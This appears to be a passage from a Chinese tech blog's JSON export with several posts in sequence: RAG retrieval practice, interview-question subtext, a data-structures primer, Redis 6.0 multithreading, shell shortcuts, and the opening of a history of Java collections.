元数据的来源只可能是人工标注或者应用侧（包括文件处理时）生成的，这里我们肯定先不去考虑人工标注了。从应用侧的设计来看，其实是可以拿到很多元数据的。比如我们上传文件、撰写知识的时候，自然可以拿到时间、文件名称（正常命名都会含有实体），也可以在交互设计中要求作者进行分类选择，简介编写等，无一不是增加元数据的手段。\n但我们在索引中增加了元数据内容之后，也不是强行要激活元数据过滤的。我们在实操中是会设置自定义的系统槽位（system_slot），如果用户提问的文本中，也包含比较多的意图和实体信息，且与系统槽位存在匹配，才会激活。会先使用BM25进行元数据过滤，再进行dense检索。更具语义信息的dense索引有时候因为维度限制会丢失一些信息，或者说dense检索对于元数据过滤并不那么精准。这种设计一方面可以减少检索的时间，另一方面就是可以提高带有时间和实体（如城市、公司、部门等）意图的提问的准确率。说起来这好像是一种“退步”，因为当LLM（或GPT）所向披靡的时候，我们也是一度有点看不上之前的技术的，但是在企业应用实践中，客户问题的解决率才是一切的根本。所以，在TorchV AI中，我们让NLU和Slot（槽位填充）回归了。\n使用槽位填充的对话\n是否使用Graph\n对了，还有一个大家争论比较多的索引组织方式就是Graph或者叫图数据，将node（实体）和relation（关系）通过图论组织起来。我们团队从2015年开始一直有在使用neo4j开发一些有趣的应用，在寻找人类直观上不太容易识别的点与点关联的方面确实非常出色。但是这个技术非常大的问题就是索引建立，从关系数据库把结构化数据迁移到Graph数据库中还算容易，但是面对成千上万的非结构化数据的时候，说实话目前也就是只能让GPT4以上的LLM来帮忙了。和重度使用过图知识库的朋友聊的过程中，他们的一致感受是：花费太高昂，但是场景太薄弱，依然还存在手工校对的工作。换句话说，如果花了10万的费用，但在实际使用中却没这么多使用场景，得不偿失。\n当然，如果您手头的工作非Graph不能解决，那就大胆去All-in吧。我们目前的系统并没有使用图数据库。\n03 检索方法 有句话（我说的）不一定说的对，在某种意义上，知识提取决定了专有知识的完整性，索引组织决定了回答准确率，而检索方法则在减少幻觉上有重要意义。\n如果我们可以准确检索召回，把非常明确的内容加上指令prompt，给到LLM处理，那么LLM给出的结果几乎不太会一本正经胡说八道。只有检索召回的内容和用户原问题不相关，或者召回内容存在多个不置可否的知识内容时，LLM才会按心情（概率和 temperature）选择错误知识或者使用预训练时学习的知识进行回答。所以，检索做得好，可以将整个RAG幻觉尽可能多的变为白盒。\nHybird\n但是说到检索，我相信现在大部分的RAG系统都已经用上了Hybird检索了吧，一般来说也就是BM25+语义相似检索的混合检索。\nBM25有自己的固有用武之地，就像前面说的元数据过滤，还有就是一些在类似产品型号和专业术语的检索上，其精确度和稳定性是远高于语义相似检索的。\n语义相似检索有很多方法，因为我们主要用的还是Elasticsearch（也有Milvus），所以其实真正的语义相似检索就是ANN，说的更具体就是以HNSW为主的相似度算法。这个HNSW（最小可导航世界）的逻辑解释起来有点麻烦，但是我可以打一个比方：\n比如你需要从一个城市的南部坐公交去北部，我们要选择最短的坐车路线（含换乘），那么有两种方式选择：\nknn：将所有可能的公交路线（含换乘）做一个整理，假设有28900条路线，然后按花费时间进行排序，选择Top1或者Top n。抛开语义理解错误的问题，这种方法是非常精确的，但是耗时巨大，也可以认为是一种暴力检索； ann：还有一种就是相似最近邻，我们这里说到更多的是hnsw。为了让非技术专业的朋友可以听懂，不严谨地说，看着地图，从28900条路线中，选择出发地和目的地两点连线附近的50或100条公交路线。这种方法的效率极高，可能耗时只需要knn的万分之一，但它的问题在于无法确定这50或100条里面哪几条才是最好的。于是，如果你采用ann却不用rerank的话，就会比较拉垮了。 RRF Fusion\nRAG-Fusion主要是使用多个不同类型的检索方式进行检索，并按RRF（倒数排序融合）公式进行综合排名的一种检索方式。\n多种检索方式包括：\nSparse（稀疏）检索，比如BM25； Dense（稠密）检索，比如语义相似度检索； 还有就是使用不同配比的混合检索（在TorchV AI中，我们采用alpha值来做BM25和ANN的结果权重配比）。 然后使用RRF公式\nRRF(d) = Σ(r ∈ R) 1 / (k + r(d))\n具体公式就不解释了，有兴趣的朋友自己查资料吧。\n来进行再排序，得出一个综合结果。其好处是使用不同的检索器，可以在各类不同问题场景下得到一个“思考”更周密的答案。我们在的系统里面有一个turbo开关，打开就会进行增强检索，其中也包括了该方法，且在召回率方面是有一定效果的。\nRerank\n其实我应该不用再讲reank了，如果您看过上面hnsw算法的话，就能知道rerank的作用了。TorchV AI在使用rerank的时候也加入了自己的一些优化算法，比如归一化处理和密度函数（舍弃相关性较低的返回结果）。在使用rerank前后，准确率相差确实很大，但你要平心而论，元数据过滤对准确率的提升可能会更明显。因为rerank相对比较被动（根据前序召回的结果，有时候是矮子里拔将军），而元数据过滤则是直接在检索召回环节产生影响，相对更加主动（自己对召回哪些结果起到重要作用）。嗯，这是我自己的理解，不一定对。\n3.技术部分小结\nOK，RAG技术变化我想先做个小结。\n关于RAG的大流程已经有太多文章了，我自己也写了不少，所以本文我更希望是从点而不是面的角度来讲一些技术实践上发现的变化。其实从RAG本身的各环节技术来说，没有出现新的现象级组件，2024这一年，看到更多的，是碰撞实际需求、探索最佳实践、内化到系统能力中的一个过程。\n市场变化的部分，下周差不多时间发布，敬请期待\n如果您对TorchV AI的产品有兴趣，也可以直接联系我：\n","date":"2024-11-25T06:27:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-25-rag-de-2024-sui-xu-er-bian-cong-kuang-re-dao-li-xing-shang/cover.jpg","permalink":"/p/2024-11-25-rag-de-2024-sui-xu-er-bian-cong-kuang-re-dao-li-xing-shang/","title":"RAG的2024—随需而变，从狂热到理性（上）"},{"content":"其实从你与 HR 的第一次沟通开始就已经处在面试周期了，而不是约了正式面试才开始。这期间对方问的每一个问题，说的每一句话都有他的目的，这个我想大家都知道。\n本文我特想说说面试中那些我知道的和我不太确定的面试 “潜台词”\nHR 篇 第一种是双方都明白的，只是说法不一样，含蓄的表达或意会的，目的是给双方留面子，都是社会人没必要说的太直白。 第二种是直接问的，目的是高效过滤简历 这两种常见于跟 HR 的初次沟通中。\n直接问的 比如：\n学历 （“是全日制本科吗？” 、“是 985 211 院校吗？”） 在职状态 （“目前离职了吗？”） 离职原因 （“离职的原因是什么？”） 婚育状态 （“您成家了吗？”） 期望薪资 (“您的期望薪资是多少？”) 目前薪资 (“您目前的薪资是多少？”) 公司位置 （“我们公司在 xxx ，这个位置您对接受吗？”） 工作性质 （“我们公司是外派到 xxx 的项目，您接受外派吗？”） \u0026hellip; 你看得出来，这些直接问的都是一些基本情况，能问你就证明你的简历基本上入人家眼了，不然都不会浪费时间问。这里我要强调的是 HR 问你问题，你也要问他们，什么社保、公积金基数、总包多少，有没有年终奖，该问问，别不好意思，出来打工不是图钱，难道为爱发电吗？\n尤其对于刚入职场的小白来说，别不好意思，不然坑的就是你，因为有的公司会故意隐瞒一些坑，到时候坑的是自己。另外，初步沟通以后，立即去 “脉脉”、 “天眼查” 、“企查查” 这些平台查询公司相关信息，这很重要，从真实的员工那儿知道公司的情况（有没有裁员、有没有欠薪、有没有加班、有没有别的坑），从工商信息那儿查看公司的规模、投融资情况、有没有劳动争议官司、什么时候成立的、给多少人交着社保、业务范围什么的。\n这几个平台你看一圈儿以后心里就对将要面试的公司有个基本的判断了，如果你判断出一些问题，或者你比较犹豫，作为过来人我告诉你，不必浪费时间，直接 Pass 是最优解。\n不直接问的 到这里我们就要扣题了，因为潜台词要出现了。\n**您住在哪里呀？**潜台词：根据你住的远近，判断你对公司的意向是否强烈。如果你住的比较远很可能会有第二个问题：“您是在那里买房了吗？”，潜台词是：首先判断你是租房还是买房，如果买房通勤太远你的意向就可能会有问题，如果租房还好。其次判断你的经济实力。\n当你约好了面试，去现场时，HR 接你的时候可能会问 ：“您是怎么过来的呀？过来远吗？” 潜台词是：首先跟第一点类似，根据你到公司的距离判断你的意向，其次判断你的经济实力，因为你可能是开车来的，也可能是坐公交地铁来的。可能你会问面个试为什么要判断经济实力？当然是为了拿捏你了，总之软肋越少越不好被拿捏。出来混，面子是自己给的，该怎么说，不用我教你吧。哈哈\n如果你做过技术管理工作可能会被问：“您在最近 2 年的工作中，技术和管理的时间占比是多少？” 潜台词：他们想找个带过人，但一直在一线写代码的。不过这个占比如何回答好，我还真拿不准，因为管理的团队越大越会多花精力和时间，不可能我只用一成的时间管理个 50 人的团队，然后再用 9 成的时间写代码，这太极端了，要么会管理的太差，要么就是管理的太好。说白了，他们是想要个纯写代码的牛马，你判断是否愿意干就知道怎么回答了。\n\u0026hellip;\n不回答或晚回答 这种一般出现在你面试结束后长时间没有消息，面的好的话，一般情况下会比较快的通知你下面的流程。这种情况无论 HR 怎么说，大概率是以下两种情况：\n面的不好，但那边懒得理你了 面的还行，但那边在犹豫，至于犹豫的点是什么你不用关心（那可多了），是不是有备胎什么的你也不用多想，总之是犹豫。 所以，不回答或晚回答的话，因为有可能还有机会，如果确实挺在乎结果，强迫症想有个闭环的，是可以直接问 HR 的，多问没关系的，成了将来是同事，多打打交道不好吗？不成了以后谁认识谁呀，别有心理压力。\n还有，在不回答或晚回答的情况下，HR 有可能会用话术拖着你，别太当真，别太上心，别给他脸，该干啥干啥，心态渣一点儿，没坏处。\n女性问题 我是男的，但我知道这个职场对于女性不那么友好，女性可能会面临更多的 “问题”，而有些问题我都没法用潜台词来形容，那是赤果果的歧视。这里我就不展开了，我想说的是职场女性很不容易，而很多 HR 也是女性，希望更多的 “人事” 干点儿 人事儿！ ，不然多荒诞啊。\n古典派 在面试前就问你很多过去经历、每段工作的离职原因、职业规划等的 HR 都比较古典，问的太多啦，他们无非还是想判断你的 稳定性 看看是不是一只合格的牛马而已。但这种现在也很少了，效率越高的公司越没有这种古典派的，都是激进派的，甚至直接让用人部门自己约人面试，他们最后只负责谈钱。\n谈钱 到了谈钱这步，说明前面的面试你都顺利通过了，这是最后一关，但谈崩的可能性也是很大的。\n这里要注意的是：无论拿你的过去说你什么，都是一个目的：压价。很多人明白，但我想提醒大家一点的是：不要认真对待别人带有目的性的否定。 你是怎么样的你要客观地评价自己，不能只通过一个 HR、一次面试、一个公司就决定了。再说了，人是会在发展中变化的，也许 2 年以后的你他们根本就高攀不起。\n遇到那种谈钱压价不痛快的是挺糟心的，但遇到那种痛快的，也要留心。痛快也是有原因的，可能的情况有：\n上一个人刚走，得赶紧找人填坑或背锅 你要少了，怕你反悔，赶紧定 说的数是假的，骗你的，比如压根没有年终奖，然后承诺你有三个月 你太合适了，赶紧定你，怕你不选他家（这种看对眼的情况也是有的，但不多） 技术篇 有关技术面试的问题就很多了，虽然比较专业但仍然有许多潜台词，挑着说几个。\n算法 一般不会上来直接考查算法，现在有许多公司把这个当做面试流程的一个必要环节了。一般情况下不会故意难为候选人，但如果出现比较罕见的题目或者 hard ，那么潜台词是：“劝退” 他可能已经不想要你了，但他需要一个非常合理的理由，出一个很难的题，你答不上来，看起来就很合理。\n经历 以往工作经历中解决的最困难的问题是什么 ？\n这个问题其实是一个信号，你只要记住，听到这个问题开始吹牛逼就行了。\n为什么 ？就不能实话实说吗？\n因为，他们期待听到的，就是吹牛逼的内容。\n一般来说，只要问题解决了，你就不觉得它有多困难了，谦虚的程序员们也不觉得是解决了多难的问题，所谓 “难者不会，会者不难”。而且，这个行业有那么多的从业者，有多少人真正接触过非常困难和有技术含量的问题呢？就算是参与过也不是一两个人的功劳，那是团队的功劳，再说了，如果问题只有你能解决，别人解决不了，或接触不到，那么公司一定不愿意看到这种情况出现，他们想的是每个岗位的人都不能有不可替代性，这样才好拿捏你。\n当然了，吹牛逼也要有技巧，结合你的工作经历把故事说圆基本就及格了。\n八股 就我观察，好的面试官问八股的趋势是越来越少了。一般是为了暖场或者为一些其他问题做准备而铺垫，所以如果你听到那种没有后续的比较纯的八股，那么很有可能这个面试官比较水，进而可以判断出这个公司可能也比较水。\n然而还有更水的，在八股上跟你特别较真的，这种你就要小心了，因为回答对或者错都很正常，每个人都有知识盲区，正常的面试官听到答案心里有数就行了，一般不会跟你较真。这种在八股上特别较真的，很有可能不会面试，也问不出什么好问题，公司派这么个人当面试官，你猜这个公司怎么样？\n补充一下，我说的较真不是说，你回答错了，他纠正你，那叫点拨，你应该感谢人家。我说的较真是他可能只知道问题的一种解决方案，但却一直否定你给的其他方案。或者他根本就是说错了，但一直坚持自己是对的。再或者，他是对的，但却以别人不知道的八股为荣，进而表示出瞧不起你的态度。注意，我们这里讨论的是八股， 面试官和候选人之间的交流，达自己的目的就可以了，这破玩意儿有什么可较真的呢？同样，你如果碰到这样的面试官，心里要清楚你的目的是什么，没必要跟这种人起什么争执。面的不好，也不要放在心上，换个公司再来一次就好了。\n聊聊项目 一般会根据你简历中写的项目经验让你描述一下做的具体工作。这里面其实有个潜台词，就是：你不能说的太宏观，也不能讲的太微观\n什么意思呢？\n如果你做过架构师或技术总监这种全局类的工作，很有可能会从全局角度把项目描述得比较抽象和简单，这不是说你说的不对，而是说你要照顾一下人家想听什么，他们想听什么呢？说白了就是：你到底是不是真的做过，跟他们的工作内容是否贴合，当然能力越强越好，最好解决了他们遇到且没解决过的问题。那怎么体现呢？两个字：“细节” 。在你宏观伟大的项目描述中适当加入一些细节和一些一下子就能把对方拉进具体场景的关键词，这样显得既高大上又细节满满。这样的回答就比较稳了。不会让人觉得只是夸夸其谈。\n如果你平常做的比较多的是具体的执行工作，比如按照需求研发功能什么的，那么你要讲项目时要注意适当的拔高一些，在细节工作基础之上稍微上上价值，上升到架构、设计、解决方案的角度 ，具体怎么说要结合你的具体情况。这样就会觉得你做的比较有价值，而且还显得比较有深度、有思考、有潜力。\n其他 其实有关面试还有很多好玩儿的事情，和背后可能蕴含的潜台词，等我找个机会再跟大家唠唠 ，今天先这样，哈哈。如果关于这个话题你也有想分享的可以在评论区跟大家分享分享，可能你的一句话会帮助到很多朋友。\n","date":"2024-11-21T08:27:34Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-21-mian-shi-shi-de-na-xie-qian-tai-ci/cover.jpg","permalink":"/p/2024-11-21-mian-shi-shi-de-na-xie-qian-tai-ci/","title":"面试时的那些潜台词"},{"content":"这篇文章为了方便以可视化的方式回顾那些最常用的数据结构，你可以用它做面试准备时的复习。希望这些可视化例子能够帮助大家了解这些数据结构。\n大 O \u0026ndash;时间复杂度 为什么大 O 复杂度很重要 ？：对于小数据集，算法复杂度可能不会扮演非常重要的角色，但随着我们的数据量增大——算法的性能影响对响应时间有极大的影响。因此，关注复杂度在具有合理规模的任何应用领域中对于程序质量都起着至关重要的作用。\n举个例子：\n假设我们的数据集有 100 万（1,000,000）个元素\nO(1)算法将进行 1 次操作。 O(log(n))算法将进行 20 次操作 O(n)算法将进行 1000000 次操作。 O(n * log(n))算法将进行 2000 万次操作。 O(n 2 )算法将进行 1 万亿次（1,000,000,000,000）操作。 所以，你应该能看出算法复杂度的重要性。\nRUM 权衡 另一个在选择数据结构时需要注意的重要方面是 RUM 权衡\n读取效率（R）：从数据结构中检索或访问数据有多快。 更新效率（U）：在数据结构中插入、删除或修改数据有多快。 内存效率（M）：数据结构使用的内存或空间大小。 那些最常用且重要的数据结构 数组 \u0026amp; 链表 数组在内存中连续存储，以快速查找而闻名，但更新/写入时间较慢；而链表非连续存储，以快速更新/写入而闻名，但查找较慢\n队列 线性数据结构，遵循先进先出（FIFO）原则：\n堆栈 遵循后进先出（LIFO）原则，元素从顶部添加和移除：\n哈希表 提供几乎即时的元素访问，通过使用哈希函数创建键值对来实现。插入、删除和查找的时间复杂度为 O(1)，代价是内存利用率\n树形数据结构 树形数据结构常用于数据密集型应用。\n在列出所有数据结构之前，我们首先需要回顾一个在树结构中起着关键作用的算法——二分查找算法。\n二分查找 这是一个对排序元素的搜索，通过不断将搜索空间分成一半来完成。就像在字典中找到中间页面，检查我们的搜索词是在字典的左半部分还是右半部分，然后不断重复这个过程，直到找到元素。使用高效的 O(log(n)) 查找\n二叉搜索树 一棵二叉树，其中每个节点最多有两个子节点，且左子节点的值小于父节点，右子节点的值大于父节点。如果二叉搜索树平衡（位于左边的节点数量不超过右边的节点数量很多），则可以进行高效的 O(log(n)) 查找。这是因为我们在遍历树时（从父节点到子节点）将搜索空间减半\n红黑树 二叉搜索树通过将节点分配颜色（红色或黑色）并遵循一组确保其保持平衡的规则来维护其平衡：\nAVL 树 “\nAVL 树的全称是 Adelson-Velsky and Landis Tree，以其发明者 G. M. Adelson-Velsky 和 E. M. Landis 的名字命名。\n自平衡二叉搜索树，通过确保其平衡因子（所有左子树和右子树之间的高度差）至多为 1 来实现平衡。在插入和删除操作期间通过旋转自动重新平衡\n堆 树中每个父节点要么大于等于（最大堆）其子节点，要么小于等于（最小堆）其子节点。允许高效检索最小或最大值，常用于实现优先队列。\n跳表 跳表（Skip List）是链表的一种扩展结构，通过引入多级链表来加速查找、插入和删除操作。它的工作原理是允许通过“跳跃”多个链表元素来快速定位到目标节点，这通常是通过从父级链表向下遍历到合适的子级链表来实现的。这种结构类似于二叉搜索树，但具有一定的随机性，通常在效率和简单性上都有不错的表现。\nB+ 树 常用于数据库存储。B+树是一种平衡树，其中所有数据都存储在叶节点中，这些叶节点按顺序链接在一起，以便快速顺序访问：\nLSM（Log-Structured Merge）树 数据应用中常用的写优化树，为了理解 LSM 树，我们需要熟悉另外两种数据结构：Memtables（内存表）和 SSTables（排序字符串表）。\nMemtable\n最初，数据被写入一个称为 Memtable 的内存结构中。这个 Memtable 在内存中保存数据，直到达到一定大小，通常通过使用平衡搜索树（如红黑树）、跳表或哈希表来实现，以提供高效的读取访问。当 Memtable 满时，其内容会被写入磁盘作为新的 SSTable。这个过程称为刷新。\nSSTable\nSSTables 根据键的顺序存储数据。每个 SSTable 由一系列键值对组成，其中键是有序的。一旦创建 SSTable，它就不会被修改。相反，新的数据更新会写入新的 SSTable。\nSSTables 通常使用 Bloom 过滤器、稀疏索引等辅助数据结构来快速确定键是否存在于 SSTable 中或定位值。\n随着时间的推移，由于频繁更新，可能会创建多个 SSTables。为了优化性能和回收空间，SSTables 会定期合并和压缩。这涉及到将多个 SSTables 中的数据合并成更少的新的 SSTables，同时丢弃过时的条目。\n下图是 LSM treee 的一个完整结构：\n注意：LSM-tree 不是一种数据结构，是数据组织的一种方式\n二叉索引树/斐波那契树 一种紧凑且高效的数据结构，用于处理动态累积频率表或前缀和。换句话说，它非常适合用于区间查询。\n树结构存储在一个数组中，其中数组中每个 2 的幂次方索引位置保存其之前所有元素的累积和。举个例子，第 4 个元素（值为 22）存储的是前 4 个元素的和。为了获取树中每个区间的子数组和，我们使用位移操作，使得每次更新和读取的时间复杂度减少到对数级别 O(log(n))，从而提高区间查询的效率。\n图数据结构 邻接表与邻接矩阵图表示 一个邻接表将图表示为一系列列表的集合——每个节点都有一个与之相连的节点集合。\n邻接矩阵将图表示为一个二维矩阵。如果我们的图有 N 个节点，我们将有一个 N×N 的矩阵，其中每个单元格(i, j)表示顶点 i 和顶点 j 之间是否存在边。\n示例图:\n字符串搜索数据结构 Trie（字典树） trie 是一种树形数据结构，用于高效地搜索字符串，其中每个节点代表一个字符，具有包括快速基于前缀的查询和插入等优势。\nRadix Tree 它也可以被视为一个紧凑的 Trie。尽管 Trie 很棒，但它们可能会占用大量内存。Redix 树通过合并具有公共前缀的节点来解决这个问题\nSplay Tree 伸展树是一种在数据访问频率不均时具有优秀性能的二叉搜索树。树在查找、插入和删除操作后自动调整。在树中访问一个项目后，树会重新排列，使访问的项目移动到顶部（根）。这使得对该项目的未来访问更快。伸展树在缓存中特别有用。\nQuadtree 四叉树是一种空间数据结构，它递归地将二维空间划分为四个象限，使其在管理和查询如点或区域等空间数据时非常高效。如果一个节点包含太多点，它将被细分为四个子节点。四叉树通常用于处理碰撞检测。\nKD Tree 一棵二叉树，其中每个节点代表 k 维空间中的一个点。该树通过递归地在其中一个维度上分割空间来构建。在树的每一层，数据根据一个维度进行分割，后续的每一层交替使用维度。这使得它在范围查询和最近邻搜索中非常高效。\nR-Tree R 树是一种用于高效索引多维空间数据的树形数据结构。它们将数据组织成最小边界矩形（MBR），这些矩形按层次分组，每个节点的 MBR 包含其子节点的 MBR。\n其他数据结构及图 布隆过滤器 布隆过滤器是一种空间高效的概率数据结构，用于测试一个元素是否是集合的成员，通常用于减少对不存在的键的昂贵磁盘（或网络）查找。它可以产生假阳性（报告元素在集合中而实际上不在），但永远不会产生假阴性（如果元素实际上在集合中，它永远不会错误地报告元素不在集合中）。\n它使用位数组来存储数据。为了将一个键映射到适当的位，它使用多个独立的哈希函数，每个函数将键映射到位数组中的不同位位置。\n二叉堆 二叉堆是一种高效管理元素集合的数据结构，支持快速插入、最小元素提取和堆合并。当需要处理频繁执行这些操作的动态元素集合时，它特别有用\n二叉堆由一系列二叉树组成，这些树是相互链接的特殊树\n二项式树（0 至 3 阶）：\n每个堆中的二叉树都遵循最小堆属性：节点的键值大于或等于其父节点的键值。此外，每个顺序只能有一个或零个二叉树，包括零阶。\n以下示例二叉堆包含 13 个节点：\n二叉堆在实现优先队列等场景中很有用，在这些场景中，需要频繁地合并堆或对一组元素执行其他操作。\nHash Array Mapped Trie (HAMT) HAMT 是一种结合了哈希表和 Trie 的优点，用于高效存储和检索键值对的数据结构。它在计算机科学中常用于实现关联数组或字典。在 HAMT 中，键被哈希以确定其在数组中的存储位置，该数组称为哈希数组。哈希数组中的每个条目可以存储多个键值对，从而实现高效的内存利用。如果多个键哈希到相同的数组索引，则使用类似 Trie 的结构来解决冲突。\nMerkle Tree 帮助高效、安全地验证大量数据。它通过将数据组织成树状结构，其中每个叶子节点包含数据块的哈希值，每个非叶子节点是其两个子节点的哈希值，一直向上到顶部的 Merkle 根。这种结构在区块链和其他系统中被广泛使用，以确保数据完整性。\n最后：8 个数据库中常用的数据结构 ","date":"2024-11-19T03:47:23Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-19-cheng-xu-yuan-bi-bei-zui-zhi-guan-de-shu-ju-jie-gou-tu-wen-s/cover.jpg","permalink":"/p/2024-11-19-cheng-xu-yuan-bi-bei-zui-zhi-guan-de-shu-ju-jie-gou-tu-wen-s/","title":"程序员必备：最直观的数据结构图文手册"},{"content":"Redis 所谓的单线程并不是所有工作都是只有一个线程在执行，而是指 Redis 的网络 IO 和键值对读写是由一个线程来完成的，Redis 在处理客户端的请求时包括获取 (socket 读）、解析、执行、内容返回 (socket 写） 等都由一个顺序串行的主线程处理。\n这就是所谓的“单线程”。这也是 Redis 对外提供键值存储服务的主要流程。 由于 Redis 在处理命令的时候是单线程作业的，所以会有一个 Socket 队列，每一个到达的服务端命令来了之后都不会马上被执行，而是进入队列，然后被线程的事件分发器逐个执行。如下图：\n至于 Redis 的其他功能， 比如持久化、异步删除、集群数据同步等等，其实是由额外的线程执行的。 可以这么说，Redis 工作线程是单线程的。但是在 4.0 之后，对于整个 Redis 服务来说，还是多线程运作的。\n6.0 之前为什么要使用单线程 在使用 Redis 时，Redis 主要受限是在内存和网络上，CPU 几乎没有性能瓶颈的问题。 以 Linux 系统为例子，在 Linux 系统上 Redis 通过 pipelining 可以处理 100w 个请求每秒，而应用程序的计算复杂度主要是 O(N) 或 O(log(N)) ，不会消耗太多 CPU。 使用了单线程后，提高了可维护性。多线程模型在某些方面表现优异，却增加了程序执行顺序的不确定性，并且带来了并发读写的一系列问题，增加了系统复杂度。同时因为线程切换、加解锁，甚至死锁，造成一定的性能损耗。 Redis 通过 AE 事件模型以及 IO 多路复用等技术，拥有超高的处理性能，因此没有使用多线程的必要 6.0 之后的多线程主要解决什么问题 近年来底层网络硬件性能越来越好，Redis 的性能瓶颈逐渐体现在网络 I/O 的读写上，单个线程处理网络 I/O 读写的速度跟不上底层网络硬件执行的速度。\nRedis 在处理网络数据时，调用 epoll 的过程是阻塞的，这个过程会阻塞线程。如果并发量很高，达到万级别的 QPS，就会形成瓶颈，影响整体吞吐能力\n既然读写网络的 read/write 系统调用占用了 Redis 执行期间大部分 CPU 时间，那么要想真正做到提速，必须改善网络 IO 性能。我们可以从这两个方面来优化：\n提高网络 IO 性能，典型实现方式比如使用 DPDK 来替代内核网络栈的方式 使用多线程，这样可以充分利用多核 CPU，同类实现案例比如 Memcached。 协议栈优化的这种方式跟 Redis 关系不大，所以最便捷高效的方式就是支持多线程。总结起来，redis 支持多线程就是以下两个原因：\n可以充分利用服务器 CPU 的多核资源，而主线程明显只能利用一个 多线程任务可以分摊 Redis 同步 IO 读写负荷，降低耗时 6.0 版本优化之后，主线程和多线程网络 IO 的执行流程如下：\n具体步骤如下：\n主线程建立连接，并接受数据，并将获取的 socket 数据放入等待队列； 通过轮询的方式将 socket 读取出来并分配给 IO 线程； 之后主线程保持阻塞，一直等到 IO 线程完成 socket 读取和解析； I/O 线程读取和解析完成之后，返回给主线程 ，主线程开始执行 Redis 命令； 执行完 Redis 命令后，主线程阻塞，直到 IO 线程完成 结果回写到 socket 的工作； 主线程清空已完成的队列，等待客户端新的请求。 本质上是将主线程 IO 读写的这个操作 独立出来，单独交给一个 I/O 线程组处理。 这样多个 socket 读写可以并行执行，整体效率也就提高了。同时注意 Redis 命令还是主线程串行执行。\n利用多核来分担 I/O 读写负荷。在事件处理线程每次获取到可读事件时，会将所有就绪的读事件分配给 I/O 线程，并进行等待，在所有 I/O 线程完成读操作后，事件处理线程开始执行任务处理，在处理结束后，同样将写事件分配给 I/O 线程，等待所有 I/O 线程完成写操作。\n1int handleClientsWithPendingReadsUsingThreads(void) { 2 ... 3 /* Distribute the clients across N different lists. */ 4 listIter li; 5 listNode *ln; 6 listRewind(server.clients_pending_read,\u0026amp;li); 7 int item_id = 0; 8 // 将等待处理的客户端分配给 I/O 线程 9 while((ln = listNext(\u0026amp;li))) { 10 client *c = listNodeValue(ln); 11 int target_id = item_id % server.io_threads_num; 12 listAddNodeTail(io_threads_list[target_id],c); 13 item_id++; 14 } 15 ... 16 /* Wait for all the other threads to end their work. */ 17 // 轮训等待所有 I/O 线程处理完 18 while(1) { 19 unsigned long pending = 0; 20 for (int j = 1; j \u0026lt; server.io_threads_num; j++) 21 pending += io_threads_pending[j]; 22 if (pending == 0) break; 23 } 24 ... 25 return processed; 26} 本质上是利用多核的多线程让多个 IO 的读写加速。\n局限性 6.0 版本的多线程并非彻底的多线程，I/O 线程只能同时执行读或者同时执行写操作，期间事件处理线程一直处于等待状态，并非流水线模型，有很多轮训等待开销。\n","date":"2024-11-18T02:04:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-18-redis6-0-yi-hou-wei-shen-me-shi-yong-le-duo-xian-cheng/cover.jpg","permalink":"/p/2024-11-18-redis6-0-yi-hou-wei-shen-me-shi-yong-le-duo-xian-cheng/","title":"Redis6.0 以后为什么使用了多线程？"},{"content":"最近看到一些同学在命令行写命令时的一些低效行为，比如长按左右箭头定位光标、长按 delete 删除字符等。其实只需要掌握几个常用的快捷键就能够大幅提高你写命令的效率。今天我们介绍几个常用的快捷键。\n移动和删除 移动 ctrl + a : 可以直接将移动光标到命令行首 ctrl + e : 可以直接移动光标到命令行尾 ctrl + b : 光标向后移动一个字符 ctrl + f : 光标向前移动一个字符 alt + b : 光标向后移动一个单词 alt + f : 光标向前移动一个单词 删除 ctrl + u : 清除光标前的内容 ctrl + k : 清除光标后的内容 历史命令 只推荐一个：ctrl + r : 不但可以查找历史命令，还可以按字符串寻找历史命令\n此外，历史命令查询还有一个更牛的命令行工具 fzf (https://github.com/junegunn/fzf)\n它是一个交互式过滤程序，可过滤文件、命令历史记录、进程、主机名、书签、git 提交等类型\n上文中关于 ctrl + r 的 演示如果你在你的机器上尝试效果不一样，其实就是因为安装了 fzf ，是 fzf 带给我了更友好的交互体验。\n许多高手都在用，有许多集成和增强的历史命令查询功能，非常牛！强烈推荐！\n","date":"2024-11-16T11:18:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-16-xiang-yao-ti-gao-ming-ling-xing-bian-xie-xiao-l-kuai-lai-shi/cover.jpg","permalink":"/p/2024-11-16-xiang-yao-ti-gao-ming-ling-xing-bian-xie-xiao-l-kuai-lai-shi/","title":"想要提高命令行编写效率，快来试试这几个快捷键！"},{"content":"简介 本文我们将探讨不同 jdk 版本中各类的起源，以及新引入的类和接口背后的目的。我们将分析之前版本存在的问题，以及为何需要引入新的类或接口。此外，我们还将介绍集合类和接口中的新特性。文章将逐一解答这些问题。\n我们将逐步学习 Java 集合类的优化过程，并按版本逐一对比分析。主要讨论的焦点将包括 JDK 1.0、1.2、1.4、1.5、1.6、1.8、9、10、11 和 21 版本的 Java 集合功能\nJava 集合 API 的改进 Java 集合 API 在多年中经历了显著改进，引入了新功能、增强和优化，以提高开发者的生产力、改善性能，并适应修订的编程模式和需求。它将帮助开发者利用 Java 集合的力量构建更健壮、高效和可维护的应用程序。\nJDK 1.0 中的集合类 在 JDK 1.0 中，有四个类 Vector、Stack、Hashtable 和 Properties。此外，还有一个名为“Enumeration”的接口，用于以简单的方式遍历值。进一步分类，Stack 是 Vector 的子类，Properties 是 Hashtable 的子类。\nVector 类的问题 Vector 是线程安全的，即 Vector 中的所有方法都是同步的。因此，它不适合单线程环境。 由于它在内部基于数组工作，插入和删除操作非常慢。 它允许在其中添加重复元素 无法按顺序存储元素 Hashtable 类的问题 Hashtable 是线程安全的，即 Hashtable 中的所有方法都是同步的。因此，它不适合单线程环境。 Hashtable 无法按顺序存储条目 Enumeration 的问题 无法删除元素且方法名称过长 JDK 1.2 中的集合类 在 JDK 1.2 中，Sun Micro-system 引入了 ArrayList、LinkedList、HashSet、TreeSet、HashMap、TreeMap、Iterator 和 ListIterator。\nArrayList：用于提供单线程环境下的解决方案，因为 ArrayList 中的方法不是同步的。 LinkedList 用于提供更快的元素插入和删除。 HashSet：不允许有重复元素。 TreeSet：用于按排序顺序存储元素。 HashMap：提供单线程环境下的解决方案，因为 